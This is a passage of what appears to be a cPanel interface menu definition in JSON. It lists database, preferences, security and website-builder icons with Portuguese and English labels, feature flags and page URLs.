Databases","target":"","type":"image","if":"$SERVICEPROVIDED{'mysql'}","file":"mysql_databases","itemorder":"2","width":"48","itemdesc":"Manage My Databases","acontent":"","subtype":"img"},{"itemorder":"3","itemdesc":"Database Wizard","width":"48","subtype":"img","acontent":"","file":"mysql_database_wizard","target":"","plainitemdesc":"Database Wizard","if":"$SERVICEPROVIDED{'mysql'}","type":"image","imgtype":"icon","height":"48","onclick":"","feature":"mysql","base64_png_image":"","key":"mysql_database_wizard","searchtext":"Assistente de banco de dados MySQL banco de dados mysql db Database Wizard","description":"Guided setup of a database, database users, and user privileges.","group":"databases","url":"sql/wizard1.html"},{"base64_png_image":"","description":"Allow remote hosts (servers) to access databases hosted on this server.","searchtext":"Db MySQL remoto Remote Database Access","key":"remote_mysql","height":"48","feature":"mysql","onclick":"","group":"databases","url":"sql/managehost.html","file":"remote_mysql","width":"48","itemdesc":"Remote Database Access","itemorder":"4","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"Remote Database Access","target":"","type":"image","if":"$SERVICEPROVIDED{'mysql'}"}],"group":"databases"},{"items":[{"file":"account_preferences","acontent":"","subtype":"img","itemorder":1,"width":48,"itemdesc":"Preferências da Conta","imgtype":"icon","type":"image","if":"","target":"","plainitemdesc":"Account Preferences","key":"account_preferences","searchtext":"setlang change language account preferences consent privacy notification personhood system position Preferências da Conta","description":"View and manage your preferred language, contact information, and account settings.","base64_png_image":"","onclick":"","feature":"account_preferences","height":48,"url":"account-preferences/index.html","group":"preferences"},{"feature":"setlang","onclick":"","height":"48","searchtext":"language setlang Alterar idioma","description":"Altere seu idioma padrão.","key":"change_language","base64_png_image":"","url":"setlang/index.html","group":"preferences","implements":"Locale_Change","acontent":"","subtype":"img","itemdesc":"Alterar idioma","width":"48","itemorder":"2","file":"change_language","type":"image","plainitemdesc":"Change Language","target":"","imgtype":"icon"},{"target":"","plainitemdesc":"Contact Information","type":"image","imgtype":"icon","itemdesc":"Informações de contato","width":"48","itemorder":"3","subtype":"img","acontent":"","file":"contact_information","group":"preferences","url":"contact/index.html","implements":"ContactInfo_Change","height":"48","feature":"updatenotificationprefs || updatecontact","onclick":"","base64_png_image":"","description":"Definir informações de contato e preferências.","searchtext":"e-mail de contato Informações de contato","key":"contact_information"},{"group":"preferences","url":"user_manager/index.html","base64_png_image":"","searchtext":"password change ftp email webdisk webdav service Gerenciador do usuário","description":"Gerenciar os usuários que podem acessar vários sistemas em sua conta do cPanel.","key":"user_manager","height":"48","feature":"user_manager","onclick":"","imgtype":"icon","target":"","plainitemdesc":"User Manager","if":"$HASROLE{'FTP'} || $HASROLE{'WebDisk'}","type":"image","file":"user_manager","width":"48","itemdesc":"Gerenciador do usuário","itemorder":"4","subtype":"img","acontent":""},{"imgtype":"icon","type":"image","if":"$has_team_license","target":"","plainitemdesc":"Manage Team","file":"team_manager","acontent":"","subtype":"img","width":48,"itemdesc":"Gerenciar Equipe","itemorder":5,"url":"team-manager/index.html","group":"preferences","description":"Gerenciar Equipe","searchtext":"gerenciar equipe gerente subusuário subconta subusuário Gerenciar Equipe","key":"team_manager","base64_png_image":"","feature":"team_manager","onclick":"","height":48}],"group":"preferences","desc":"Preferências"},{"items":[{"key":"ssh_access","searchtext":"Acesso SSH ssh/shell Acesso ssh shell seguro sftp","description":"Gerenciar suas chaves SSH públicas e privadas.","base64_png_image":"","onclick":"","feature":"ssh","height":"48","url":"telnet/index.html","group":"security","file":"ssh_access","subtype":"img","acontent":"","itemorder":"1","itemdesc":"Acesso SSH","width":"48","imgtype":"icon","type":"image","plainitemdesc":"SSH Access","target":""},{"file":"ip_blocker","acontent":"","subtype":"img","itemorder":"2","itemdesc":"Bloqueador de IP","width":"48","imgtype":"icon","type":"image","if":"$HASROLE{'WebServer'}","plainitemdesc":"IP Blocker","target":"","key":"ip_blocker","description":"Bloqueie o acesso ao seu website para um ou mais endereços IP ou nomes de domínio totalmente qualificados.","searchtext":"Bloqueador de IP gerenciador de negação de ip","base64_png_image":"","onclick":"","feature":"ipdeny","height":"48","url":"denyip/index.html","group":"security"},{"url":"ssl/index.html","group":"security","implements":"SSL_TLS_Manager","onclick":"","feature":"sslmanager","height":"48","key":"ssl_tls","searchtext":"SSL/TLS certificate key csr","description":"Criar, gerenciar e excluir certificados SSL, solicitações e chaves atribuídas.","base64_png_image":"","if":"$HASROLE{'UserSSL'}","type":"image","target":"","plainitemdesc":"SSL/TLS","imgtype":"icon","subtype":"img","acontent":"","itemorder":"3","itemdesc":"SSL/TLS","width":"48","file":"ssl_tls"},{"target":"","plainitemdesc":"Manage API Tokens","type":"image","imgtype":"icon","itemorder":"4","itemdesc":"Gerenciar tokens de API","width":"48","acontent":"","subtype":"img","file":"api_tokens","group":"security","url":"api_tokens/index.html","implements":"API_Tokens_Manager","height":"48","onclick":"","feature":"apitokens","base64_png_image":"","key":"api_tokens","description":"Criar, gerenciar e excluir tokens de API.","searchtext":"Gerenciar tokens de API acessar login de conexão de API "},{"group":"security","url":"mime/hotlink.html","height":"48","onclick":"","feature":"hotlink","base64_png_image":"","key":"hotlink_protection","description":"Evite que sites e usuários externos incorporem o conteúdo do seu site.","searchtext":"Proteção contra Hotlink","plainitemdesc":"Hotlink Protection","target":"","if":"$HASROLE{'WebServer'}","type":"image","imgtype":"icon","itemorder":"4","itemdesc":"Proteção contra Hotlink","width":"48","subtype":"img","acontent":"","file":"hotlink_protection"},{"height":"48","onclick":"","feature":"cpanelpro_leechprotect && webprotect","base64_png_image":"","key":"leech_protection","description":"Detecte níveis incomuns de atividade em diretórios restritos por senha.","searchtext":"A Proteção Leech protege Proteção do Leech","group":"security","url":"htaccess/leechprotect/leechprotect.html","itemorder":"5","itemdesc":"Proteção do Leech","width":"48","acontent":"","subtype":"img","file":"leech_protection","plainitemdesc":"Leech Protection","target":"","type":"image","if":"$HASROLE{'WebServer'}","imgtype":"icon"},{"file":"mod_security","itemdesc":"ModSecurity","width":"48","itemorder":"7","acontent":"","subtype":"img","imgtype":"icon","plainitemdesc":"ModSecurity","target":"","if":"$HASROLE{'WebServer'} && $is_mod_security_installed","type":"image","base64_png_image":"","searchtext":"ModSecurity mod security mod_security","description":"Habilitar ou desabilitar ModSecurity® de seus domínios.","key":"mod_security","height":"48","feature":"modsecurity","onclick":"","group":"security","url":"security/mod_security/index.html"},{"imgtype":"icon","type":"image","if":"$HASROLE{'UserSSL'}","plainitemdesc":"[asis,SSL]/[asis,TLS] Status","target":"","file":"tls_status","subtype":"img","acontent":"","itemorder":"7","itemdesc":"Status de SSL/TLS","width":"48","implements":"SSL_TLS_Status","url":"security/tls_status/","group":"security","key":"tls_status","description":"Ver, fazer upgrade ou renovar os certificados SSL dos seus domínios.","searchtext":"Status de SSL/TLS","base64_png_image":"","onclick":"","feature":"sslinstall","height":"48"}],"group":"security","desc":"Segurança"},{"group":"sitepad_div","items":[{"itemdesc":"SitePad Website Builder - Themes","width":"48","itemorder":"10","acontent":"","subtype":"img","file":"sitepad_div_icons","target":"","plainitemdesc":"SitePad Website Builder - Themes","type":"image","imgtype":"icon","height":"48","feature":"sitepad_div_icons","onclick":"","base64_png_image":"","searchtext":"SitePad Website Builder - Themes","description":"SitePad Website Builder - Themes","group":"sitepad_div","url":"../../3rdparty/sitepad/index.live.php"}],"desc":"SitePad Website Builder - Themes"}],"VERSION":5.4,"needs_security_token":{}}